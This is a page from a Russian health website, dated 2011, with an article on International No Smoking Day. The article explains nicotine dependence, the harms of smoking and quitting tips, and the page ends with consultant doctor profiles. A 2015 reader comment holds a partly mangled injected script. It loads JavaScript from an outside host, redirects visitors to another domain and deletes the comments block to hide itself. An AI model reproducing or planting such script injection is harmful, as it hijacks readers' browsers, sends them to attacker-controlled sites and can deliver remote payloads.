Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Без дыма и копоти. Междун...  >>  Без дыма и копоти. Международный день отказа от курения
 
Обратная связь
 

Без дыма и копоти. Международный день отказа от курения

Размер шрифта
18 ноября 2011 07:31
  • google_analytics: false
  • Нравится

Сегодня – Международный день отказа от курения. Как растянуть этот день на всю оставшуюся жизнь? Об этом в сегодняшней теме дня.

NO smoking

Причина никотиновой зависимости – никотин, один из компонентов табачного дыма. ВОЗ относит табакокурение к наркозависимости. И недаром: никотин попадает в мозг через 10–15 секунд после первой затяжки, с такой же скоростью, как и внутривенный наркотик.

Каков принцип действия никотина?


  1. Никотин воздействует на дофаминовые структуры, а значит, обладает ярковыраженным положительным эффектом. Человек испытывает чувство блаженства, которое ему хочется повторить. Получается прямая зависимость между нашим хорошим настроением и никотином.

  2. После выкуренной сигареты в крови растет концентрация адреналина, кортизола и других гормонов стресса. Таким образом никотин скорее провоцирует стресс, чем снимает его. 

  3. Вместе с гормонами стресса выделяются эндорфины, гормоны счастья. Они снимают стресс, но не надолго. Вот почему человеку хочется курить чаще.

Чем опасно курение?

Никотин сильно сужает сосуды. В стенках сосудов возникают изъязвления, в этих трещинах скапливается холестерин, образуются атеросклеротические бляшки.

Можно ли бросить курить?

Главная трудность для человека, который хочет бросить, – это синдром отмены. Он достигает пика через сутки-двое. Если удастся преодолеть синдром, можно считать это победой. Однако, чтобы сказать: «Я бросил», надо полгода не курить.

Как это сделать?

  1. Заняться физкультурой.

  2. Рассказывать детям о вреде курения, чтобы их негативное отношение к курению повлияло на вас.

  3. Применять никотиносодержащие препараты и уменьшать воздействие симптомов отмены: пластырь, жевательная резинка с никотином.

  4. Если не получилось бросить один раз, надо пробовать еще и еще.

Видеосюжеты по теме: 

Международный день отказа от курения. Как растянуть его на весь год

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

01 июля 2015 в 00:06

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.